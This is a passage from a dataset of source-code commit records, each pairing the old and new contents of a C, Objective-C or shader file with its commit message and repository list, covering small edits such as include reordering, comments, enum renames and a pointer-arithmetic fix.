ushu1203\/chromium.src,littlstar\/chromium.src,pozdnyakov\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,fujunwei\/chromium-crosswalk,patrickm\/chromium.src,jaruba\/chromium.src,timopulkkinen\/BubbleFish,dednal\/chromium.src,ondra-novak\/chromium.src,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,Just-D\/chromium-1,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,timopulkkinen\/BubbleFish,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Just-D\/chromium-1,nacl-webkit\/chrome_deps,crosswalk-project\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,axinging\/chromium-crosswalk,ondra-novak\/chromium.src,nacl-webkit\/chrome_deps,keishi\/chromium,hgl888\/chromium-crosswalk-efl,anirudhSK\/chromium,PeterWangIntel\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,ChromiumWebApps\/chromium,TheTypoMaster\/chromium-crosswalk,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk,Just-D\/chromium-1,hgl888\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,rogerwang\/chromium,ChromiumWebApps\/chromium,bright-sparks\/chromium-spacewalk,zcbenz\/cefode-chromium,hujiajie\/pa-chromium,mogoweb\/chromium-crosswalk,mogoweb\/chromium-crosswalk,fujunwei\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,zcbenz\/cefode-chromium,dednal\/chromium.src,dednal\/chromium.src,chuan9\/chromium-crosswalk,Jonekee\/chromium.src,anirudhSK\/chromium,patrickm\/chromium.src,Jonekee\/chromium.src,pozdnyakov\/chromium-crosswalk,timopulkkinen\/BubbleFish,Jonekee\/chromium.src,keishi\/chromium,ondra-novak\/chromium.src,littlstar\/chromium.src,jaruba\/chromium.src,robclark\/chromium,Just-D\/chromium-1,jaruba\/chromium.src,TheTypoMaster\/chromium-crosswalk,hujiajie\/pa-chromium,robclark\/chromium,Pluto-tv\/chromium-crosswalk,jaruba\/chromium.src,hgl888\/chromium-crosswalk,ltilve\/chromium,Chilledheart\/chromium,anirudhSK\/chromium,timopulkkinen\/BubbleFish,ChromiumWebApps\/chromium,chuan9\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,robclark\/chromium,mohamed--abdel-maksoud\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,hgl888\/chromium-crosswalk-efl,ltilve\/chromium,keishi\/chromium,Fireblend\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,zcbenz\/cefode-chromium,junmin-zhu\/chromium-rivertrail,dednal\/chromium.src,ltilve\/chromium,anirudhSK\/chromium,M4sse\/chromium.src,dushu1203\/chromium.src"}
{"commit":"86f04cd3f2d5c23f1745acdaa86ef526c174ce9a","old_file":"aescpuid.c","new_file":"aescpuid.c","old_contents":"\/**\n * cpuid.c\n *\n * Checks if CPU has support of AES instructions\n *\n * @author kryukov@frtk.ru\n * @version 4.0\n *\n * For Putty AES NI project\n * http:\/\/putty-aes-ni.googlecode.com\/\n *\/\n\n#ifndef SILENT\n#include <stdio.h>\n#endif\n\n#if defined(__clang__) || defined(__GNUC__)\n\n#include <cpuid.h>\nstatic int CheckCPUsupportAES()\n{\n    unsigned int CPUInfo[4];\n    __cpuid(1, CPUInfo[0], CPUInfo[1], CPUInfo[2], CPUInfo[3]);\n    return (CPUInfo[2] & (1 << 25)) && (CPUInfo[2] & (1 << 19)); \/* Check AES and SSE4.1 *\/\n}\n\n#else \/* defined(__clang__) || defined(__GNUC__) *\/\n\nstatic int CheckCPUsupportAES()\n{\n    unsigned int CPUInfo[4];\n    __cpuid(CPUInfo, 1);\n    return (CPUInfo[2] & (1 << 25)) && (CPUInfo[2] & (1 << 19)); \/* Check AES and SSE4.1 *\/\n}\n\n#endif \/* defined(__clang__) || defined(__GNUC__) *\/\n\nint main(int argc, char ** argv)\n{\n    const int res = !CheckCPUsupportAES();\n#ifndef SILENT\n    printf(\"This CPU %s AES-NI\\n\", res ? \"does not support\" : \"supports\");\n#endif\n    return res;\n}\n","new_contents":"\/**\n * cpuid.c\n *\n * Checks if CPU has support of AES instructions\n *\n * @author kryukov@frtk.ru\n * @version 4.0\n *\n * For Putty AES NI project\n * http:\/\/putty-aes-ni.googlecode.com\/\n *\/\n\n#include <stdio.h>\n\n#if defined(__clang__) || defined(__GNUC__)\n\n#include <cpuid.h>\nstatic int CheckCPUsupportAES()\n{\n    unsigned int CPUInfo[4];\n    __cpuid(1, CPUInfo[0], CPUInfo[1], CPUInfo[2], CPUInfo[3]);\n    return (CPUInfo[2] & (1 << 25)) && (CPUInfo[2] & (1 << 19)); \/* Check AES and SSE4.1 *\/\n}\n\n#else \/* defined(__clang__) || defined(__GNUC__) *\/\n\nstatic int CheckCPUsupportAES()\n{\n    unsigned int CPUInfo[4];\n    __cpuid(CPUInfo, 1);\n    return (CPUInfo[2] & (1 << 25)) && (CPUInfo[2] & (1 << 19)); \/* Check AES and SSE4.1 *\/\n}\n\n#endif \/* defined(__clang__) || defined(__GNUC__) *\/\n\nint main(int argc, char ** argv)\n{\n    const int res = !CheckCPUsupportAES();\n    printf(\"This CPU %s AES-NI\\n\", res ? \"does not support\" : \"supports\");\n    return res;\n}\n","subject":"Print CPUID result to output","message":"Print CPUID result to output","lang":"C","license":"mit","repos":"pavelkryukov\/putty-aes-ni,pavelkryukov\/putty-aes-ni"}
{"commit":"1e437be581a3d2e1176a66f4e2420ce7f37ead37","old_file":"TRD\/AliTRDPreprocessor.h","new_file":"TRD\/AliTRDPreprocessor.h","old_contents":"#ifndef ALI_TRD_PREPROCESSOR_H\n#define ALI_TRD_PREPROCESSOR_H\n\n\/* Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *\n * See cxx source for full Copyright notice                               *\/\n\n\/* $Id$ *\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                        \/\/\n\/\/ TRD preprocessor for the database SHUTTLE                              \/\/\n\/\/                                                                        \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"AliPreprocessor.h\"\n\nclass AliTRDPreprocessor : public AliPreprocessor\n{\n\n  public:\n\n    AliTRDPreprocessor(AliShuttleInterface *shuttle);\n    virtual ~AliTRDPreprocessor();\n\n  protected:\n\n    virtual void   Initialize(Int_t run, UInt_t startTime, UInt_t endTime);\n    virtual UInt_t Process(TMap* \/*dcsAliasMap*\/);\n\n  private:\n    \n    ClassDef(AliTRDPreprocessor,0);\n\n};\n\n#endif\n","new_contents":"#ifndef ALI_TRD_PREPROCESSOR_H\n#define ALI_TRD_PREPROCESSOR_H\n\n\/* Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *\n * See cxx source for full Copyright notice                               *\/\n\n\/* $Id$ *\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                        \/\/\n\/\/ TRD preprocessor for the database SHUTTLE                              \/\/\n\/\/                                                                        \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"AliPreprocessor.h\"\n\nclass AliTRDPreprocessor : public AliPreprocessor\n{\n\n  public:\n\n    AliTRDPreprocessor(AliShuttleInterface *shuttle);\n    virtual ~AliTRDPreprocessor();\n\n  protected:\n\n    virtual void   Initialize(Int_t run, UInt_t startTime, UInt_t endTime);\n    virtual UInt_t Process(TMap* \/*dcsAliasMap*\/);\n\n  private:\n    \n    ClassDef(AliTRDPreprocessor,0) \/\/ The SHUTTLE preprocessor for TRD\n\n};\n\n#endif\n","subject":"Add a comment behind ClassDef","message":"Add a comment behind ClassDef\n\n","lang":"C","license":"bsd-3-clause","repos":"ecalvovi\/AliRoot,alisw\/AliRoot,ecalvovi\/AliRoot,miranov25\/AliRoot,sebaleh\/AliRoot,mkrzewic\/AliRoot,jgrosseo\/AliRoot,jgrosseo\/AliRoot,sebaleh\/AliRoot,coppedis\/AliRoot,coppedis\/AliRoot,ecalvovi\/AliRoot,jgrosseo\/AliRoot,ecalvovi\/AliRoot,ALICEHLT\/AliRoot,sebaleh\/AliRoot,coppedis\/AliRoot,miranov25\/AliRoot,shahor02\/AliRoot,alisw\/AliRoot,shahor02\/AliRoot,shahor02\/AliRoot,coppedis\/AliRoot,alisw\/AliRoot,ALICEHLT\/AliRoot,coppedis\/AliRoot,shahor02\/AliRoot,ALICEHLT\/AliRoot,coppedis\/AliRoot,miranov25\/AliRoot,shahor02\/AliRoot,shahor02\/AliRoot,ALICEHLT\/AliRoot,ecalvovi\/AliRoot,mkrzewic\/AliRoot,miranov25\/AliRoot,alisw\/AliRoot,jgrosseo\/AliRoot,shahor02\/AliRoot,ALICEHLT\/AliRoot,ecalvovi\/AliRoot,alisw\/AliRoot,mkrzewic\/AliRoot,miranov25\/AliRoot,sebaleh\/AliRoot,miranov25\/AliRoot,jgrosseo\/AliRoot,coppedis\/AliRoot,miranov25\/AliRoot,jgrosseo\/AliRoot,coppedis\/AliRoot,mkrzewic\/AliRoot,alisw\/AliRoot,alisw\/AliRoot,ALICEHLT\/AliRoot,mkrzewic\/AliRoot,ecalvovi\/AliRoot,sebaleh\/AliRoot,mkrzewic\/AliRoot,sebaleh\/AliRoot,ALICEHLT\/AliRoot,miranov25\/AliRoot,sebaleh\/AliRoot,jgrosseo\/AliRoot,alisw\/AliRoot,mkrzewic\/AliRoot"}
{"commit":"b7206937d9779b2e90ec28fe3ca42d00916eab14","old_file":"osu.Framework\/Resources\/Shaders\/sh_yuv2rgb.h","new_file":"osu.Framework\/Resources\/Shaders\/sh_yuv2rgb.h","old_contents":"uniform sampler2D m_SamplerY;\nuniform sampler2D m_SamplerU;\nuniform sampler2D m_SamplerV;\n\nuniform mat3 yuvCoeff;\n\n\/\/ Y - 16, Cb - 128, Cr - 128\nconst mediump vec3 offsets = vec3(-0.0625, -0.5, -0.5);\n\nlowp vec3 sampleRgb(vec2 loc) \n{\n  float y = texture2D(m_SamplerY, loc).r;\n  float u = texture2D(m_SamplerU, loc).r;\n  float v = texture2D(m_SamplerV, loc).r;\n  return yuvCoeff * (vec3(y, u, v) + offsets);\n}","new_contents":"uniform sampler2D m_SamplerY;\nuniform sampler2D m_SamplerU;\nuniform sampler2D m_SamplerV;\n\nuniform mediump mat3 yuvCoeff;\n\n\/\/ Y - 16, Cb - 128, Cr - 128\nconst mediump vec3 offsets = vec3(-0.0625, -0.5, -0.5);\n\nlowp vec3 sampleRgb(vec2 loc) \n{\n  lowp float y = texture2D(m_SamplerY, loc).r;\n  lowp float u = texture2D(m_SamplerU, loc).r;\n  lowp float v = texture2D(m_SamplerV, loc).r;\n  return yuvCoeff * (vec3(y, u, v) + offsets);\n}\n","subject":"Add precision prefixes to shaders","message":"Add precision prefixes to shaders\n\nCo-Authored-By: Dan Balasescu <c9bd76907373126dff70d71f8b944159a669cbf1@smgi.me>","lang":"C","license":"mit","repos":"ppy\/osu-framework,ZLima12\/osu-framework,EVAST9919\/osu-framework,peppy\/osu-framework,EVAST9919\/osu-framework,ppy\/osu-framework,ZLima12\/osu-framework,smoogipooo\/osu-framework,peppy\/osu-framework,peppy\/osu-framework,EVAST9919\/osu-framework,smoogipooo\/osu-framework,EVAST9919\/osu-framework,ppy\/osu-framework"}
{"commit":"b59d8199e0a0a3d1c77cc36f3cfb1c6716a254a8","old_file":"include\/llvm\/Transforms\/IPO.h","new_file":"include\/llvm\/Transforms\/IPO.h","old_contents":"\/\/===- llvm\/Transforms\/CleanupGCCOutput.h - Cleanup GCC Output ---*- C++ -*--=\/\/\n\/\/\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TRANSFORMS_CLEANUPGCCOUTPUT_H\n#define LLVM_TRANSFORMS_CLEANUPGCCOUTPUT_H\n\nclass Pass;\nPass *createCleanupGCCOutputPass();\n\n#endif\n","new_contents":"\/\/===- llvm\/Transforms\/CleanupGCCOutput.h - Cleanup GCC Output ---*- C++ -*--=\/\/\n\/\/\n\/\/ These passes are used to cleanup the output of GCC.  GCC's output is\n\/\/ unneccessarily gross for a couple of reasons. This pass does the following\n\/\/ things to try to clean it up:\n\/\/\n\/\/ * Eliminate names for GCC types that we know can't be needed by the user.\n\/\/ * Eliminate names for types that are unused in the entire translation unit\n\/\/ * Fix various problems that we might have in PHI nodes and casts\n\/\/ * Link uses of 'void %foo(...)' to 'void %foo(sometypes)'\n\/\/\n\/\/ Note:  This code produces dead declarations, it is a good idea to run DCE\n\/\/        after this pass.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TRANSFORMS_CLEANUPGCCOUTPUT_H\n#define LLVM_TRANSFORMS_CLEANUPGCCOUTPUT_H\n\nclass Pass;\n\n\/\/ CleanupGCCOutputPass - Perform all of the function body transformations.\n\/\/\nPass *createCleanupGCCOutputPass();\n\n\n\/\/ FunctionResolvingPass - Go over the functions that are in the module and\n\/\/ look for functions that have the same name.  More often than not, there will\n\/\/ be things like:\n\/\/    void \"foo\"(...)\n\/\/    void \"foo\"(int, int)\n\/\/ because of the way things are declared in C.  If this is the case, patch\n\/\/ things up.\n\/\/\n\/\/ This is an interprocedural pass.\n\/\/\nPass *createFunctionResolvingPass();\n\n#endif\n","subject":"Split the CleanupGCCOutput pass into two passes, and add real life actual documentation on when they do.","message":"Split the CleanupGCCOutput pass into two passes, and add real life actual\ndocumentation on when they do.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@2222 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm"}
{"commit":"56ecad6907dea785ebffba414dfe3ff586e5f2e0","old_file":"src\/shutdown\/hpr_wall.c","new_file":"src\/shutdown\/hpr_wall.c","old_contents":"\/* ISC license. *\/\n\n#include <string.h>\n#include <utmpx.h>\n\n#include <skalibs\/posixishard.h>\n#include <skalibs\/allreadwrite.h>\n#include <skalibs\/strerr2.h>\n#include <skalibs\/djbunix.h>\n\n#include \"hpr.h\"\n\n#ifndef UT_LINESIZE\n#define UT_LINESIZE 32\n#endif\n\nvoid hpr_wall (char const *s)\n{\n  size_t n = strlen(s) ;\n  char tty[10 + UT_LINESIZE] = \"\/dev\/\" ;\n  char msg[n+1] ;\n  memcpy(msg, s, n) ;\n  msg[n++] = '\\n' ;\n  setutxent() ;\n  for (;;)\n  {\n    size_t linelen ;\n    int fd ;\n    struct utmpx *utx = getutxent() ;\n    if (!utx) break ;\n    if (utx->ut_type != USER_PROCESS) continue ;\n    linelen = strnlen(utx->ut_line, UT_LINESIZE) ;\n    memcpy(tty + 5, utx->ut_line, linelen) ;\n    tty[5 + linelen] = 0 ;\n    fd = open_append(tty) ;\n    if (fd == -1) continue ;\n    allwrite(fd, msg, n) ;\n    fd_close(fd) ;\n  }\n  endutxent() ;\n}\n","new_contents":"\/* ISC license. *\/\n\n#include <string.h>\n#include <utmpx.h>\n\n#include <skalibs\/allreadwrite.h>\n#include <skalibs\/strerr2.h>\n#include <skalibs\/djbunix.h>\n#include <skalibs\/posixishard.h>\n\n#include \"hpr.h\"\n\n#ifndef UT_LINESIZE\n#define UT_LINESIZE 32\n#endif\n\nvoid hpr_wall (char const *s)\n{\n  size_t n = strlen(s) ;\n  char tty[10 + UT_LINESIZE] = \"\/dev\/\" ;\n  char msg[n+1] ;\n  memcpy(msg, s, n) ;\n  msg[n++] = '\\n' ;\n  setutxent() ;\n  for (;;)\n  {\n    size_t linelen ;\n    int fd ;\n    struct utmpx *utx = getutxent() ;\n    if (!utx) break ;\n    if (utx->ut_type != USER_PROCESS) continue ;\n    linelen = strnlen(utx->ut_line, UT_LINESIZE) ;\n    memcpy(tty + 5, utx->ut_line, linelen) ;\n    tty[5 + linelen] = 0 ;\n    fd = open_append(tty) ;\n    if (fd == -1) continue ;\n    allwrite(fd, msg, n) ;\n    fd_close(fd) ;\n  }\n  endutxent() ;\n}\n","subject":"Include posixishard as late as possible","message":" Include posixishard as late as possible\n","lang":"C","license":"isc","repos":"skarnet\/s6-linux-init,skarnet\/s6-linux-init"}
{"commit":"60da6bc748cf4366005a047a1ab2637184150333","old_file":"gc_none.c","new_file":"gc_none.c","old_contents":"#include \"visibility.h\"\n#include \"objc\/runtime.h\"\n#include \"gc_ops.h\"\n#include \"class.h\"\n#include <stdlib.h>\n#include <stdio.h>\n\nstatic id allocate_class(Class cls, size_t extraBytes)\n{\n\tintptr_t *addr = calloc(cls->instance_size + extraBytes + sizeof(intptr_t), 1);\n\treturn (id)(addr + 1);\n}\n\nstatic void free_object(id obj)\n{\n\tfree((void*)(((intptr_t)obj) - 1));\n}\n\nstatic void *alloc(size_t size)\n{\n\treturn calloc(size, 1);\n}\n\nPRIVATE struct gc_ops gc_ops_none = \n{\n\t.allocate_class = allocate_class,\n\t.free_object    = free_object,\n\t.malloc         = alloc,\n\t.free           = free\n};\nPRIVATE struct gc_ops *gc = &gc_ops_none;\n\nPRIVATE BOOL isGCEnabled = NO;\n\n#ifndef ENABLE_GC\nPRIVATE void enableGC(BOOL exclusive)\n{\n\tfprintf(stderr, \"Attempting to enable garbage collection, but your\"\n\t\t\t\"Objective-C runtime was built without garbage collection\"\n\t\t\t\"support\\n\");\n\tabort();\n}\n#endif\n","new_contents":"#include \"visibility.h\"\n#include \"objc\/runtime.h\"\n#include \"gc_ops.h\"\n#include \"class.h\"\n#include <stdlib.h>\n#include <stdio.h>\n\nstatic id allocate_class(Class cls, size_t extraBytes)\n{\n\tintptr_t *addr = calloc(cls->instance_size + extraBytes + sizeof(intptr_t), 1);\n\treturn (id)(addr + 1);\n}\n\nstatic void free_object(id obj)\n{\n\tfree((void*)(((intptr_t*)obj) - 1));\n}\n\nstatic void *alloc(size_t size)\n{\n\treturn calloc(size, 1);\n}\n\nPRIVATE struct gc_ops gc_ops_none = \n{\n\t.allocate_class = allocate_class,\n\t.free_object    = free_object,\n\t.malloc         = alloc,\n\t.free           = free\n};\nPRIVATE struct gc_ops *gc = &gc_ops_none;\n\nPRIVATE BOOL isGCEnabled = NO;\n\n#ifndef ENABLE_GC\nPRIVATE void enableGC(BOOL exclusive)\n{\n\tfprintf(stderr, \"Attempting to enable garbage collection, but your\"\n\t\t\t\"Objective-C runtime was built without garbage collection\"\n\t\t\t\"support\\n\");\n\tabort();\n}\n#endif\n","subject":"Fix bug spotted by Justin Hibbits.","message":"Fix bug spotted by Justin Hibbits.\n\n\n\ngit-svn-id: f6517e426f81db5247881cd92f7386583ace04fa@33751 72102866-910b-0410-8b05-ffd578937521\n","lang":"C","license":"mit","repos":"crontab\/libobjc2,skudryas\/gnustep-libobjc2,skudryas\/gnustep-libobjc2,crontab\/libobjc2"}
{"commit":"b6a760e55482bed227ab71c77727766ec134fe33","old_file":"tests\/47_switch_return.c","new_file":"tests\/47_switch_return.c","old_contents":"","new_contents":"#include <stdio.h>\r\n\r\nvoid fred(int x)\r\n{\r\n    switch (x)\r\n    {\r\n        case 1: printf(\"1\\n\"); return;\r\n        case 2: printf(\"2\\n\"); break;\r\n        case 3: printf(\"3\\n\"); return;\r\n    }\r\n    \r\n    printf(\"out\\n\");\r\n}\r\n\r\nint main()\r\n{\r\n    fred(1);\r\n    fred(2);\r\n    fred(3);\r\n    \r\n    return 0;\r\n}    ","subject":"Test for switch with return inside a case.","message":"Test for switch with return inside a case.\n\n\ngit-svn-id: 1b2893900746d3474b20c0dea7456040123c3b26@505 21eae674-98b7-11dd-bd71-f92a316d2d60\n","lang":"C","license":"bsd-3-clause","repos":"jpoirier\/picoc"}
{"commit":"3593b3c46b605566d4523330f452a2fbe738e074","old_file":"minunit.h","new_file":"minunit.h","old_contents":"","new_contents":"\/\/ Thanks to JeraTech for this minimalist TDD code,\n\/\/ which I've modified to resemble AngularJS's a bit more.\n\/\/ http:\/\/www.jera.com\/techinfo\/jtns\/jtn002.html\n\nint tests_run = 0;\n#define _it_should(message, test) do { if (!(test)) return message; } while (0)\n#define _run_test(test) do { char *message = test(); tests_run++; if (message) return message; } while (0)\n","subject":"Define a minimal unit testing framework.","message":"Define a minimal unit testing framework.\n","lang":"C","license":"agpl-3.0","repos":"ryepdx\/keyphrase,ryepdx\/keyphrase"}
{"commit":"315c996e6e6fac57514d4faa73329060edf714dc","old_file":"libechonest\/src\/ENAPI_utils.h","new_file":"libechonest\/src\/ENAPI_utils.h","old_contents":"\/\/\n\/\/  ENAPI_utils.h\n\/\/  libechonest\n\/\/\n\/\/  Created by Art Gillespie on 3\/15\/11. art@tapsquare.com\n\/\/\n\n#import \"NSMutableDictionary+QueryString.h\"\n#import \"NSData+MD5.h\"\n#import \"ENAPI.h\"\n\n#define CHECK_API_KEY if (nil == [ENAPI apiKey]) { @throw [NSException exceptionWithName:@\"APIKeyNotSetException\" reason:@\"Set the API key before calling this method\" userInfo:nil]; }\n\nstatic NSString __attribute__((unused)) * const ECHONEST_API_URL = @\"http:\/\/developer.echonest.com\/api\/v4\/\";\n","new_contents":"\/\/\n\/\/  ENAPI_utils.h\n\/\/  libechonest\n\/\/\n\/\/  Created by Art Gillespie on 3\/15\/11. art@tapsquare.com\n\/\/\n\n#import \"NSMutableDictionary+QueryString.h\"\n#import \"NSData+MD5.h\"\n#import \"ENAPI.h\"\n\n#define CHECK_API_KEY if (nil == [ENAPI apiKey]) { @throw [NSException exceptionWithName:@\"APIKeyNotSetException\" reason:@\"Set the API key before calling this method\" userInfo:nil]; }\n\n#define CHECK_OAUTH_KEYS if (nil == [ENAPI consumerKey] && nil == [ENAPI sharedSecret]) { @throw [NSException exceptionWithName:@\"OAuthKeysNotSetException\" reason:@\"Set the consumer key & shared secret before calling this method\" userInfo:nil]; }\n\nstatic NSString __attribute__((unused)) * const ECHONEST_API_URL = @\"http:\/\/developer.echonest.com\/api\/v4\/\";\n","subject":"Add macro for checking OAuth keys.","message":"Add macro for checking OAuth keys.\n","lang":"C","license":"bsd-3-clause","repos":"echonest\/libechonest"}
{"commit":"08d8a5ec7d018c771787bd33b429c2b2d096a578","old_file":"AAChartKit\/ChartsDemo\/SecondViewController.h","new_file":"AAChartKit\/ChartsDemo\/SecondViewController.h","old_contents":"\/\/\n\/\/  ViewController.h\n\/\/  AAChartKit\n\/\/\n\/\/  Created by An An on 17\/3\/13.\n\/\/  Copyright © 2017年 An An. All rights reserved.\n\/\/  source code ----*** https:\/\/github.com\/AAChartModel\/AAChartKit ***--- source code\n\/\/\n\n#import <UIKit\/UIKit.h>\ntypedef NS_ENUM(NSInteger,ENUM_secondeViewController_chartType){\n    ENUM_secondeViewController_chartTypeColumn =0,\n    ENUM_secondeViewController_chartTypeBar,\n    ENUM_secondeViewController_chartTypeArea,\n    ENUM_secondeViewController_chartTypeAreaspline,\n    ENUM_secondeViewController_chartTypeLine,\n    ENUM_secondeViewController_chartTypeSpline,\n    ENUM_secondeViewController_chartTypeScatter,\n    \n};\n\n\n@interface SecondViewController : UIViewController\n@property(nonatomic,assign)NSInteger ENUM_secondeViewController_chartType;\n@property(nonatomic,copy)NSString *receivedChartType;\n\n@end\n\n","new_contents":"\/\/\n\/\/  ViewController.h\n\/\/  AAChartKit\n\/\/\n\/\/  Created by An An on 17\/3\/13.\n\/\/  Copyright © 2017年 An An. All rights reserved.\n\/\/  source code ----*** https:\/\/github.com\/AAChartModel\/AAChartKit ***--- source code\n\/\/\n\n#import <UIKit\/UIKit.h>\ntypedef NS_ENUM(NSInteger,SecondeViewControllerChartType){\n    SecondeViewControllerChartTypeColumn =0,\n    SecondeViewControllerChartTypeBar,\n    SecondeViewControllerChartTypeArea,\n    SecondeViewControllerChartTypeAreaspline,\n    SecondeViewControllerChartTypeLine,\n    SecondeViewControllerChartTypeSpline,\n    SecondeViewControllerChartTypeScatter,\n    \n};\n\n\n@interface SecondViewController : UIViewController\n@property(nonatomic,assign)NSInteger SecondeViewControllerChartType;\n@property(nonatomic,copy)NSString *receivedChartType;\n\n@end\n\n","subject":"Correct the naming notations of enumeration","message":"Correct the naming notations of enumeration\n","lang":"C","license":"mit","repos":"AAChartModel\/AAChartKit,AAChartModel\/AAChartKit,AAChartModel\/AAChartKit"}
{"commit":"ad42bb9a0b167e38bd2fef333c1d725bc41f0dc0","old_file":"src\/media\/tagreader.h","new_file":"src\/media\/tagreader.h","old_contents":"#ifndef TAGREADER_H\n#define TAGREADER_H\n\n#include <taglib\/fileref.h>\n#include <taglib\/tag.h>\n#include <taglib\/mpegfile.h>\n#include <taglib\/id3v2tag.h>\n#include <taglib\/attachedpictureframe.h>\n\n#include <QString>\n#include <QImage>\n\nclass TagReader\n{\npublic:\n    TagReader(const QString &file);\n    ~TagReader();\n\n    bool isValid() const;\n    bool hasAudioProperties() const;\n\n    QString title() const;\n    QString album() const;\n    QString artist() const;\n    int track() const;\n    int year() const;\n    QString genre() const;\n    QString comment() const;\n\n    int length() const;\n    int bitrate() const;\n    int sampleRate() const;\n    int channels() const;\n\n    QImage thumbnailImage() const;\n    QByteArray thumbnail() const;\n\nprivate:\n    TagLib::FileRef m_fileRef;\n    TagLib::Tag *m_tag;\n    TagLib::AudioProperties *m_audioProperties;\n};\n\n#endif \/\/ TAGREADER_H\n\n","new_contents":"#ifndef TAGREADER_H\n#define TAGREADER_H\n\n#include \"taglib\/fileref.h\"\n#include \"taglib\/tag.h\"\n#include \"taglib\/mpeg\/mpegfile.h\"\n#include \"taglib\/mpeg\/id3v2\/id3v2tag.h\"\n#include \"taglib\/mpeg\/id3v2\/frames\/attachedpictureframe.h\"\n\n#include <QString>\n#include <QImage>\n\nclass TagReader\n{\npublic:\n    TagReader(const QString &file);\n    ~TagReader();\n\n    bool isValid() const;\n    bool hasAudioProperties() const;\n\n    QString title() const;\n    QString album() const;\n    QString artist() const;\n    int track() const;\n    int year() const;\n    QString genre() const;\n    QString comment() const;\n\n    int length() const;\n    int bitrate() const;\n    int sampleRate() const;\n    int channels() const;\n\n    QImage thumbnailImage() const;\n    QByteArray thumbnail() const;\n\nprivate:\n    TagLib::FileRef m_fileRef;\n    TagLib::Tag *m_tag;\n    TagLib::AudioProperties *m_audioProperties;\n};\n\n#endif \/\/ TAGREADER_H\n\n","subject":"Use our package taglib headers and not the hosts!","message":"Use our package taglib headers and not the hosts!\n","lang":"C","license":"bsd-3-clause","repos":"qtmediahub\/sasquatch,qtmediahub\/sasquatch,qtmediahub\/sasquatch"}
{"commit":"4ad6e5a49c4894661fabd40382f2482dd8011ac0","old_file":"test2\/structs\/lvalue\/cant.c","new_file":"test2\/structs\/lvalue\/cant.c","old_contents":"\/\/ RUN: %check -e %s\n\nmain()\n{\n\tstruct A\n\t{\n\t\tint i;\n\t} a, b, c;\n\n\ta = b ? : c; \/\/ CHECK: error: struct involved in if-expr\n}\n","new_contents":"\/\/ RUN: %check -e %s\n\nmain()\n{\n\tstruct A\n\t{\n\t\tint i;\n\t} a, b, c;\n\n\ta = b ? : c; \/\/ CHECK: error: struct involved in ?:\n}\n","subject":"Fix struct if-expression test warning","message":"Fix struct if-expression test warning\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
